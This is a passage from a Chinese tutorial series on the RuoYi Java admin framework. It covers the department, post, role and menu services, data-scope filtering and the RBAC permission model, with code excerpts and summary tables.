用户岗位关联表

CREATE TABLE sys_user_post (
  user_id           BIGINT(20) NOT NULL COMMENT '用户ID',
  post_id           BIGINT(20) NOT NULL COMMENT '岗位ID',
  PRIMARY KEY(user_id, post_id)
) ENGINE=InnoDB COMMENT = '用户与岗位关联表';

Service 层实现

部门 Service 接口

// src/main/java/com/ruoyi/system/service/ISysDeptService.java
package com.ruoyi.system.service;

import java.util.List;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;

/**
 * 部门管理 服务层
 * 
 * @author ruoyi
 */
public interface ISysDeptService {
    /**
     * 查询部门管理数据
     */
    public List<SysDept> selectDeptList(SysDept dept);

    /**
     * 查询部门管理树
     */
    public List<Ztree> selectDeptTree(SysDept dept);

    /**
     * 根据角色ID查询部门树
     */
    public List<Ztree> roleDeptTreeData(Long roleId);

    /**
     * 根据部门ID查询信息
     */
    public SysDept selectDeptById(Long deptId);

    /**
     * 根据ID查询所有子部门
     */
    public int selectDeptCount(Long deptId);

    /**
     * 是否存在子节点
     */
    public boolean hasChildByDeptId(Long deptId);

    /**
     * 查询部门是否存在用户
     */
    public boolean checkDeptExistUser(Long deptId);

    /**
     * 删除部门管理信息
     */
    public int deleteDeptById(Long deptId);

    /**
     * 新增保存部门信息
     */
    public int insertDept(SysDept dept);

    /**
     * 修改保存部门信息
     */
    public int updateDept(SysDept dept);

    /**
     * 校验部门名称是否唯一
     */
    public String checkDeptNameUnique(SysDept dept);

    /**
     * 根据部门ID查询角色数据权限
     */
    public List<Long> selectRoleDeptIds(Long roleId);
}

部门 Service 实现

// src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.apache.commons.lang3.ArrayUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.mapper.SysDeptMapper;
import com.ruoyi.system.mapper.SysRoleMapper;
import com.ruoyi.system.service.ISysDeptService;

/**
 * 部门管理 服务实现
 * 
 * @author ruoyi
 */
@Service
public class SysDeptServiceImpl implements ISysDeptService {
    @Autowired
    private SysDeptMapper deptMapper;

    @Autowired
    private SysRoleMapper roleMapper;

    /**
     * 查询部门管理数据
     */
    @Override
    @DataScope(deptAlias = "d")
    public List<SysDept> selectDeptList(SysDept dept) {
        return deptMapper.selectDeptList(dept);
    }

    /**
     * 查询部门管理树
     */
    @Override
    public List<Ztree> selectDeptTree(SysDept dept) {
        List<SysDept> deptList = deptMapper.selectDeptList(dept);
        List<Ztree> ztrees = initZtree(deptList);
        return ztrees;
    }

    /**
     * 构建前端需要的树结构
     */
    public List<Ztree> initZtree(List<SysDept> depts) {
        List<Ztree> ztrees = new ArrayList<Ztree>();
        boolean isCheck = StringUtils.isNotNull(depts) && depts.size() > 0;
        for (SysDept dept : depts) {
            Ztree ztree = new Ztree();
            ztree.setId(dept.getDeptId());
            ztree.setpId(dept.getParentId());
            ztree.setName(dept.getDeptName());
            ztree.setTitle(dept.getDeptName());
            ztree.setChecked(isCheck && dept.isChecked());
            ztrees.add(ztree);
        }
        return ztrees;
    }

    /**
     * 根据角色ID查询部门树
     */
    @Override
    public List<Ztree> roleDeptTreeData(Long roleId) {
        List<SysDept> deptList = selectDeptList(new SysDept());
        SysRole role = roleMapper.selectRoleById(roleId);
        List<Ztree> ztrees = new ArrayList<Ztree>();
        for (SysDept dept : deptList) {
            Ztree ztree = new Ztree();
            ztree.setId(dept.getDeptId());
            ztree.setpId(dept.getParentId());
            ztree.setName(dept.getDeptName());
            ztree.setTitle(dept.getDeptName());
            // 判断角色是否拥有该部门权限
            if (StringUtils.isNotNull(role.getDeptIds()) 
                    && ArrayUtils.contains(role.getDeptIds(), dept.getDeptId())) {
                ztree.setChecked(true);
            }
            ztrees.add(ztree);
        }
        return ztrees;
    }

    /**
     * 新增保存部门信息
     */
    @Override
    public int insertDept(SysDept dept) {
        SysDept info = deptMapper.selectDeptById(dept.getParentId());
        // 如果父节点不为"正常"状态,则不允许新增子节点
        if (!UserConstants.DEPT_NORMAL.equals(info.getStatus())) {
            throw new ServiceException("部门停用，不允许新增");
        }
        dept.setAncestors(info.getAncestors() + "," + dept.getParentId());
        return deptMapper.insertDept(dept);
    }

    /**
     * 修改保存部门信息
     */
    @Override
    public int updateDept(SysDept dept) {
        SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId());
        SysDept oldDept = selectDeptById(dept.getDeptId());
        if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept)) {
            String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId();
            String oldAncestors = oldDept.getAncestors();
            dept.setAncestors(newAncestors);
            updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
        }
        int result = deptMapper.updateDept(dept);
        if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()) 
                && StringUtils.isNotEmpty(dept.getAncestors()) 
                && !StringUtils.equals("0", dept.getAncestors())) {
            // 如果该部门是启用状态，则启用该部门的上级部门
            updateParentDeptStatusNormal(dept);
        }
        return result;
    }

    /**
     * 修改该部门的父级部门状态
     */
    private void updateParentDeptStatusNormal(SysDept dept) {
        String ancestors = dept.getAncestors();
        Long[] deptIds = Convert.toLongArray(ancestors);
        deptMapper.updateDeptStatusNormal(deptIds);
    }

    /**
     * 修改子元素关系
     */
    private void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) {
        List<SysDept> children = deptMapper.selectChildrenDeptById(deptId);
        for (SysDept child : children) {
            child.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors));
        }
        if (children.size() > 0) {
            deptMapper.updateDeptChildren(children);
        }
    }

    /**
     * 删除部门管理信息
     */
    @Override
    public int deleteDeptById(Long deptId) {
        return deptMapper.deleteDeptById(deptId);
    }

    /**
     * 校验部门名称是否唯一
     */
    @Override
    public String checkDeptNameUnique(SysDept dept) {
        Long deptId = StringUtils.isNull(dept.getDeptId()) ? -1L : dept.getDeptId();
        SysDept info = deptMapper.checkDeptNameUnique(dept.getDeptName(), dept.getParentId());
        if (StringUtils.isNotNull(info) && info.getDeptId().longValue() != deptId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 是否存在子节点
     */
    @Override
    public boolean hasChildByDeptId(Long deptId) {
        int result = deptMapper.hasChildByDeptId(deptId);
        return result > 0;
    }

    /**
     * 查询部门是否存在用户
     */
    @Override
    public boolean checkDeptExistUser(Long deptId) {
        int result = deptMapper.checkDeptExistUser(deptId);
        return result > 0;
    }
}

岗位 Service 实现

// src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysPost;
import com.ruoyi.system.mapper.SysPostMapper;
import com.ruoyi.system.mapper.SysUserPostMapper;
import com.ruoyi.system.service.ISysPostService;

/**
 * 岗位信息 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class SysPostServiceImpl implements ISysPostService {
    @Autowired
    private SysPostMapper postMapper;

    @Autowired
    private SysUserPostMapper userPostMapper;

    /**
     * 查询岗位信息集合
     */
    @Override
    public List<SysPost> selectPostList(SysPost post) {
        return postMapper.selectPostList(post);
    }

    /**
     * 查询所有岗位
     */
    @Override
    public List<SysPost> selectPostAll() {
        return postMapper.selectPostAll();
    }

    /**
     * 根据用户ID查询岗位
     */
    @Override
    public List<SysPost> selectPostsByUserId(Long userId) {
        List<SysPost> userPosts = postMapper.selectPostsByUserId(userId);
        List<SysPost> posts = postMapper.selectPostAll();
        for (SysPost post : posts) {
            for (SysPost userPost : userPosts) {
                if (post.getPostId().longValue() == userPost.getPostId().longValue()) {
                    post.setFlag(true);
                    break;
                }
            }
        }
        return posts;
    }

    /**
     * 新增保存岗位信息
     */
    @Override
    public int insertPost(SysPost post) {
        return postMapper.insertPost(post);
    }

    /**
     * 修改保存岗位信息
     */
    @Override
    public int updatePost(SysPost post) {
        return postMapper.updatePost(post);
    }

    /**
     * 批量删除岗位信息
     */
    @Override
    public int deletePostByIds(String ids) {
        Long[] postIds = Convert.toLongArray(ids);
        for (Long postId : postIds) {
            SysPost post = selectPostById(postId);
            if (countUserPostById(postId) > 0) {
                throw new ServiceException(String.format("%1$s已分配,不能删除", post.getPostName()));
            }
        }
        return postMapper.deletePostByIds(postIds);
    }

    /**
     * 查询岗位绑定用户数
     */
    public int countUserPostById(Long postId) {
        return userPostMapper.countUserPostById(postId);
    }

    /**
     * 校验岗位名称是否唯一
     */
    @Override
    public String checkPostNameUnique(SysPost post) {
        Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId();
        SysPost info = postMapper.checkPostNameUnique(post.getPostName());
        if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验岗位编码是否唯一
     */
    @Override
    public String checkPostCodeUnique(SysPost post) {
        Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId();
        SysPost info = postMapper.checkPostCodeUnique(post.getPostCode());
        if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }
}

数据权限实现

@DataScope 注解处理

// src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java
package com.ruoyi.framework.aspectj;

import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.springframework.stereotype.Component;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.common.utils.StringUtils;

/**
 * 数据过滤处理
 * 
 * @author ruoyi
 */
@Aspect
@Component
public class DataScopeAspect {
    /**
     * 全部数据权限
     */
    public static final String DATA_SCOPE_ALL = "1";

    /**
     * 自定义数据权限
     */
    public static final String DATA_SCOPE_CUSTOM = "2";

    /**
     * 部门数据权限
     */
    public static final String DATA_SCOPE_DEPT = "3";

    /**
     * 部门及以下数据权限
     */
    public static final String DATA_SCOPE_DEPT_AND_CHILD = "4";

    /**
     * 仅本人数据权限
     */
    public static final String DATA_SCOPE_SELF = "5";

    @Before("@annotation(dataScope)")
    public void doBefore(JoinPoint point, DataScope dataScope) {
        handleDataScope(point, dataScope);
    }

    protected void handleDataScope(JoinPoint joinPoint, DataScope dataScope) {
        // 获取当前的用户
        SysUser currentUser = ShiroUtils.getSysUser();
        if (StringUtils.isNotNull(currentUser)) {
            // 如果是超级管理员，则不过滤数据
            if (!currentUser.isAdmin()) {
                filterDataScope(joinPoint, currentUser, dataScope);
            }
        }
    }

    /**
     * 数据范围过滤
     */
    private void filterDataScope(JoinPoint joinPoint, SysUser user, DataScope dataScope) {
        StringBuilder sqlString = new StringBuilder();
        List<SysRole> roles = user.getRoles();
        for (SysRole role : roles) {
            String scopeType = role.getDataScope();
            if (DATA_SCOPE_ALL.equals(scopeType)) {
                sqlString = new StringBuilder();
                break;
            } else if (DATA_SCOPE_CUSTOM.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} )",
                    dataScope.deptAlias(), role.getRoleId()));
            } else if (DATA_SCOPE_DEPT.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    " OR {}.dept_id = {}", dataScope.deptAlias(), user.getDeptId()));
            } else if (DATA_SCOPE_DEPT_AND_CHILD.equals(scopeType)) {
                String deptChild = user.getDeptId() + "";
                sqlString.append(StringUtils.format(
                    " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )",
                    dataScope.deptAlias(), user.getDeptId(), deptChild));
            } else if (DATA_SCOPE_SELF.equals(scopeType)) {
                sqlString.append(StringUtils.format(
                    " OR {}.user_id = {}", dataScope.userAlias(), user.getUserId()));
            }
        }
        if (StringUtils.isEmpty(sqlString.toString())) {
            sqlString = new StringBuilder(StringUtils.format(" OR {}.user_id = {}", 
                    dataScope.userAlias(), user.getUserId()));
        }
        // 将sql拼接到BaseEntity的params中
        BaseEntity baseEntity = (BaseEntity) joinPoint.getArgs()[0];
        baseEntity.getParams().put("dataScope", sqlString.toString());
    }
}

复习卡片

// 部门管理核心流程
// 1. 新增部门
dept.setAncestors(parentDept.getAncestors() + "," + parentId);
deptMapper.insertDept(dept);

// 2. 修改部门（更新子部门的 ancestors）
updateDeptChildren(deptId, newAncestors, oldAncestors);

// 3. 查询所有下级部门
SELECT * FROM sys_dept WHERE find_in_set(101, ancestors);

// 4. 数据权限过滤
@DataScope(deptAlias = "d")
public List<SysDept> selectDeptList(SysDept dept);

// 5. 岗位关联用户
List<SysPost> posts = postService.selectPostsByUserId(userId);

类名	职责
`SysDept`	部门实体类
`SysPost`	岗位实体类
`SysUserPost`	用户岗位关联
`ISysDeptService`	部门服务接口
`ISysPostService`	岗位服务接口
`DataScopeAspect`	数据权限切面
`Ztree`	树形结构数据

数据权限类型	值	说明
全部数据	1	超级管理员
自定义数据	2	指定部门
本部门数据	3	当前部门
本部门及以下	4	当前部门及子部门
仅本人数据	5	只能看自己的

[!TIP] 下一步：阶段八：字典与参数管理

在阶段八中，我们将学习系统配置管理，包括数据字典和参数配置。

RuoYi 阶段六：角色与菜单管理

Mon, 07 Sep 2026 08:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段六，聚焦 RBAC 权限模型。学完本篇你应该能：

理解 RBAC 权限模型的设计思想

掌握角色和菜单的关联关系

知道如何构建动态菜单树

前端视角：RBAC 像什么？

RuoYi RBAC	前端类比
`SysRole` 角色	用户角色类型 (admin/user/guest)
`SysMenu` 菜单	路由配置 + 侧边栏菜单项
权限标识	按钮级别权限控制 (v-permission)
菜单树	TreeSelect 组件数据
角色关联菜单	角色权限配置面板

RBAC 权限模型

RBAC (Role-Based Access Control) 基于角色的访问控制，核心思想：

用户 (User) → 角色 (Role) → 权限 (Permission/Menu)

数据表关系

sys_user ←→ sys_user_role ←→ sys_role ←→ sys_role_menu ←→ sys_menu
   |              |                |              |               |
 用户表        用户角色关联       角色表        角色菜单关联      菜单表

权限流程图

用户登录
    ↓
查询用户的角色列表
    ↓
查询角色关联的菜单列表
    ↓
提取权限标识 (如 system:user:add)
    ↓
Shiro 授权
    ↓
页面显示对应按钮/菜单

角色实体类 (SysRole)

// src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java
package com.ruoyi.common.core.domain.entity;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 角色表 sys_role
 * 
 * @author ruoyi
 */
public class SysRole extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 角色ID */
    @Excel(name = "角色序号", cellType = ColumnType.NUMERIC)
    private Long roleId;

    /** 角色名称 */
    @Excel(name = "角色名称")
    private String roleName;

    /** 角色权限字符串 */
    @Excel(name = "角色权限")
    private String roleKey;

    /** 角色排序 */
    @Excel(name = "角色排序", cellType = ColumnType.NUMERIC)
    private Integer roleSort;

    /** 数据范围（1：全部数据权限；2：自定义数据权限；3：本部门数据权限；4：本部门及以下数据权限；5：仅本人数据权限） */
    @Excel(name = "数据范围", readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限")
    private String dataScope;

    /** 角色状态（0正常 1停用） */
    @Excel(name = "角色状态", readConverterExp = "0=正常,1=停用")
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 用户是否存在此角色标识 */
    private boolean flag = false;

    /** 菜单组 */
    private Long[] menuIds;

    /** 部门组（数据权限） */
    private Long[] deptIds;

    public SysRole() {
    }

    public SysRole(Long roleId) {
        this.roleId = roleId;
    }

    public Long getRoleId() {
        return roleId;
    }

    public void setRoleId(Long roleId) {
        this.roleId = roleId;
    }

    public boolean isAdmin() {
        return isAdmin(this.roleId);
    }

    public static boolean isAdmin(Long roleId) {
        return roleId != null && 1L == roleId;
    }

    @NotBlank(message = "角色名称不能为空")
    @Size(min = 0, max = 30, message = "角色名称长度不能超过30个字符")
    public String getRoleName() {
        return roleName;
    }

    @NotBlank(message = "权限字符不能为空")
    @Size(min = 0, max = 100, message = "权限字符长度不能超过100个字符")
    public String getRoleKey() {
        return roleKey;
    }

    @NotBlank(message = "显示顺序不能为空")
    public Integer getRoleSort() {
        return roleSort;
    }

    public String getDataScope() {
        return dataScope;
    }

    public void setDataScope(String dataScope) {
        this.dataScope = dataScope;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public String getDelFlag() {
        return delFlag;
    }

    public void setDelFlag(String delFlag) {
        this.delFlag = delFlag;
    }

    public boolean isFlag() {
        return flag;
    }

    public void setFlag(boolean flag) {
        this.flag = flag;
    }

    public Long[] getMenuIds() {
        return menuIds;
    }

    public void setMenuIds(Long[] menuIds) {
        this.menuIds = menuIds;
    }

    public Long[] getDeptIds() {
        return deptIds;
    }

    public void setDeptIds(Long[] deptIds) {
        this.deptIds = deptIds;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("roleId", getRoleId())
            .append("roleName", getRoleName())
            .append("roleKey", getRoleKey())
            .append("roleSort", getRoleSort())
            .append("dataScope", getDataScope())
            .append("status", getStatus())
            .append("delFlag", getDelFlag())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

菜单实体类 (SysMenu)

// src/main/java/com/ruoyi/system/domain/SysMenu.java
package com.ruoyi.system.domain;

import java.util.ArrayList;
import java.util.List;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 菜单权限表 sys_menu
 * 
 * @author ruoyi
 */
public class SysMenu extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 菜单ID */
    private Long menuId;

    /** 菜单名称 */
    private String menuName;

    /** 父菜单名称 */
    private String parentName;

    /** 父菜单ID */
    private Long parentId;

    /** 显示顺序 */
    private Integer orderNum;

    /** 菜单URL */
    private String url;

    /** 打开方式（menuItem页签 menuBlank新窗口） */
    private String target;

    /** 类型（M目录 C菜单 F按钮） */
    private String menuType;

    /** 菜单状态（0显示 1隐藏） */
    private String visible;

    /** 是否刷新（0刷新 1不刷新） */
    private String isRefresh;

    /** 权限字符串 */
    private String perms;

    /** 菜单图标 */
    private String icon;

    /** 子菜单 */
    private List<SysMenu> children = new ArrayList<SysMenu>();

    public Long getMenuId() {
        return menuId;
    }

    public void setMenuId(Long menuId) {
        this.menuId = menuId;
    }

    @NotBlank(message = "菜单名称不能为空")
    @Size(min = 0, max = 50, message = "菜单名称长度不能超过50个字符")
    public String getMenuName() {
        return menuName;
    }

    public void setMenuName(String menuName) {
        this.menuName = menuName;
    }

    public String getParentName() {
        return parentName;
    }

    public void setParentName(String parentName) {
        this.parentName = parentName;
    }

    public Long getParentId() {
        return parentId;
    }

    public void setParentId(Long parentId) {
        this.parentId = parentId;
    }

    @NotNull(message = "显示顺序不能为空")
    public Integer getOrderNum() {
        return orderNum;
    }

    public void setOrderNum(Integer orderNum) {
        this.orderNum = orderNum;
    }

    @Size(min = 0, max = 200, message = "请求地址不能超过200个字符")
    public String getUrl() {
        return url;
    }

    public void setUrl(String url) {
        this.url = url;
    }

    public String getTarget() {
        return target;
    }

    public void setTarget(String target) {
        this.target = target;
    }

    @NotBlank(message = "菜单类型不能为空")
    public String getMenuType() {
        return menuType;
    }

    public void setMenuType(String menuType) {
        this.menuType = menuType;
    }

    public String getVisible() {
        return visible;
    }

    public void setVisible(String visible) {
        this.visible = visible;
    }

    public String getIsRefresh() {
        return isRefresh;
    }

    public void setIsRefresh(String isRefresh) {
        this.isRefresh = isRefresh;
    }

    @Size(min = 0, max = 100, message = "权限标识长度不能超过100个字符")
    public String getPerms() {
        return perms;
    }

    public void setPerms(String perms) {
        this.perms = StringUtils.isEmpty(perms) ? "" : perms.trim();
    }

    public String getIcon() {
        return icon;
    }

    public void setIcon(String icon) {
        this.icon = icon;
    }

    public List<SysMenu> getChildren() {
        return children;
    }

    public void setChildren(List<SysMenu> children) {
        this.children = children;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append("menuId", getMenuId())
            .append("menuName", getMenuName())
            .append("parentId", getParentId())
            .append("orderNum", getOrderNum())
            .append("url", getUrl())
            .append("target", getTarget())
            .append("menuType", getMenuType())
            .append("visible", getVisible())
            .append("perms", getPerms())
            .append("icon", getIcon())
            .append("createBy", getCreateBy())
            .append("createTime", getCreateTime())
            .append("updateBy", getUpdateBy())
            .append("updateTime", getUpdateTime())
            .append("remark", getRemark())
            .toString();
    }
}

菜单类型

类型	值	说明
目录	M	一级菜单，不直接访问页面
菜单	C	二级菜单，对应具体页面
按钮	F	按钮级权限，如新增/修改/删除

角色 Service 实现

接口定义

// src/main/java/com/ruoyi/system/service/ISysRoleService.java
package com.ruoyi.system.service;

import java.util.List;
import java.util.Set;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.system.domain.SysUserRole;

/**
 * 角色业务层
 * 
 * @author ruoyi
 */
public interface ISysRoleService {
    /**
     * 根据条件分页查询角色数据
     */
    public List<SysRole> selectRoleList(SysRole role);

    /**
     * 根据用户ID查询角色
     */
    public Set<SysRole> selectRolesByUserId(Long userId);

    /**
     * 查询所有角色
     */
    public List<SysRole> selectRoleAll();

    /**
     * 通过角色ID查询角色
     */
    public SysRole selectRoleById(Long roleId);

    /**
     * 通过角色ID删除角色
     */
    public boolean deleteRoleById(Long roleId);

    /**
     * 批量删除角色用户信息
     */
    public int deleteRoleByIds(String ids);

    /**
     * 新增保存角色信息
     */
    public int insertRole(SysRole role);

    /**
     * 修改保存角色信息
     */
    public int updateRole(SysRole role);

    /**
     * 修改数据权限信息
     */
    public int authDataScope(SysRole role);

    /**
     * 校验角色名称是否唯一
     */
    public String checkRoleNameUnique(SysRole role);

    /**
     * 校验角色权限是否唯一
     */
    public String checkRoleKeyUnique(SysRole role);

    /**
     * 校验角色是否允许操作
     */
    public void checkRoleAllowed(SysRole role);

    /**
     * 取消授权用户角色
     */
    public int deleteAuthUser(SysUserRole userRole);

    /**
     * 批量取消授权用户角色
     */
    public int deleteAuthUsers(Long roleId, String userIds);

    /**
     * 批量选择授权用户角色
     */
    public int insertAuthUsers(Long roleId, String userIds);
}

实现类核心方法

// src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.*;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.domain.SysRoleDept;
import com.ruoyi.system.domain.SysRoleMenu;
import com.ruoyi.system.domain.SysUserRole;
import com.ruoyi.system.mapper.*;
import com.ruoyi.system.service.ISysRoleService;

/**
 * 角色 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysRoleServiceImpl implements ISysRoleService {
    @Autowired
    private SysRoleMapper roleMapper;

    @Autowired
    private SysRoleMenuMapper roleMenuMapper;

    @Autowired
    private SysUserRoleMapper userRoleMapper;

    @Autowired
    private SysRoleDeptMapper roleDeptMapper;

    /**
     * 根据条件分页查询角色数据
     */
    @Override
    @DataScope(deptAlias = "d")
    public List<SysRole> selectRoleList(SysRole role) {
        return roleMapper.selectRoleList(role);
    }

    /**
     * 根据用户ID查询角色
     */
    @Override
    public Set<SysRole> selectRolesByUserId(Long userId) {
        List<SysRole> userRoles = roleMapper.selectRolesByUserId(userId);
        List<SysRole> roles = selectRoleAll();
        for (SysRole role : roles) {
            for (SysRole userRole : userRoles) {
                if (role.getRoleId().longValue() == userRole.getRoleId().longValue()) {
                    role.setFlag(true);
                    break;
                }
            }
        }
        return new LinkedHashSet<SysRole>(roles);
    }

    /**
     * 查询所有角色
     */
    @Override
    public List<SysRole> selectRoleAll() {
        return SpringUtils.getAopProxy(this).selectRoleList(new SysRole());
    }

    /**
     * 新增保存角色信息
     */
    @Override
    @Transactional
    public int insertRole(SysRole role) {
        // 新增角色信息
        roleMapper.insertRole(role);
        return insertRoleMenu(role);
    }

    /**
     * 修改保存角色信息
     */
    @Override
    @Transactional
    public int updateRole(SysRole role) {
        // 修改角色信息
        roleMapper.updateRole(role);
        // 删除角色与菜单关联
        roleMenuMapper.deleteRoleMenuByRoleId(role.getRoleId());
        return insertRoleMenu(role);
    }

    /**
     * 新增角色菜单信息
     */
    public int insertRoleMenu(SysRole role) {
        int rows = 1;
        // 新增用户与角色管理
        List<SysRoleMenu> list = new ArrayList<SysRoleMenu>();
        for (Long menuId : role.getMenuIds()) {
            SysRoleMenu rm = new SysRoleMenu();
            rm.setRoleId(role.getRoleId());
            rm.setMenuId(menuId);
            list.add(rm);
        }
        if (list.size() > 0) {
            rows = roleMenuMapper.batchRoleMenu(list);
        }
        return rows;
    }

    /**
     * 修改数据权限信息
     */
    @Override
    @Transactional
    public int authDataScope(SysRole role) {
        // 修改角色信息
        roleMapper.updateRole(role);
        // 删除角色与部门关联
        roleDeptMapper.deleteRoleDeptByRoleId(role.getRoleId());
        // 新增角色和部门信息（数据权限）
        return insertRoleDept(role);
    }

    /**
     * 新增角色部门信息（数据权限）
     */
    public int insertRoleDept(SysRole role) {
        int rows = 1;
        // 新增角色与部门管理
        List<SysRoleDept> list = new ArrayList<SysRoleDept>();
        for (Long deptId : role.getDeptIds()) {
            SysRoleDept rd = new SysRoleDept();
            rd.setRoleId(role.getRoleId());
            rd.setDeptId(deptId);
            list.add(rd);
        }
        if (list.size() > 0) {
            rows = roleDeptMapper.batchRoleDept(list);
        }
        return rows;
    }

    /**
     * 校验角色名称是否唯一
     */
    @Override
    public String checkRoleNameUnique(SysRole role) {
        Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId();
        SysRole info = roleMapper.checkRoleNameUnique(role.getRoleName());
        if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验角色权限是否唯一
     */
    @Override
    public String checkRoleKeyUnique(SysRole role) {
        Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId();
        SysRole info = roleMapper.checkRoleKeyUnique(role.getRoleKey());
        if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验角色是否允许操作
     */
    @Override
    public void checkRoleAllowed(SysRole role) {
        if (StringUtils.isNotNull(role.getRoleId()) && role.isAdmin()) {
            throw new ServiceException("不允许操作超级管理员角色");
        }
    }

    /**
     * 批量删除角色信息
     */
    @Override
    public int deleteRoleByIds(String ids) {
        Long[] roleIds = Convert.toLongArray(ids);
        for (Long roleId : roleIds) {
            checkRoleAllowed(new SysRole(roleId));
            SysRole role = selectRoleById(roleId);
            if (countUserRoleByRoleId(roleId) > 0) {
                throw new ServiceException(String.format("%1$s已分配,不能删除", role.getRoleName()));
            }
        }
        // 删除角色与菜单关联
        roleMenuMapper.deleteRoleMenu(roleIds);
        // 删除角色与部门关联
        roleDeptMapper.deleteRoleDept(roleIds);
        return roleMapper.deleteRoleByIds(roleIds);
    }

    /**
     * 查询角色绑定用户数
     */
    public int countUserRoleByRoleId(Long roleId) {
        return userRoleMapper.countUserRoleByRoleId(roleId);
    }
}

菜单 Service 实现

接口定义

// src/main/java/com/ruoyi/system/service/ISysMenuService.java
package com.ruoyi.system.service;

import java.util.List;
import java.util.Map;
import java.util.Set;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.system.domain.SysMenu;

/**
 * 菜单 业务层
 * 
 * @author ruoyi
 */
public interface ISysMenuService {
    /**
     * 根据用户查询系统菜单列表
     */
    public List<SysMenu> selectMenusByUser(SysUser user);

    /**
     * 查询系统菜单列表
     */
    public List<SysMenu> selectMenuList(SysMenu menu);

    /**
     * 查询菜单集合
     */
    public List<SysMenu> selectMenuAll();

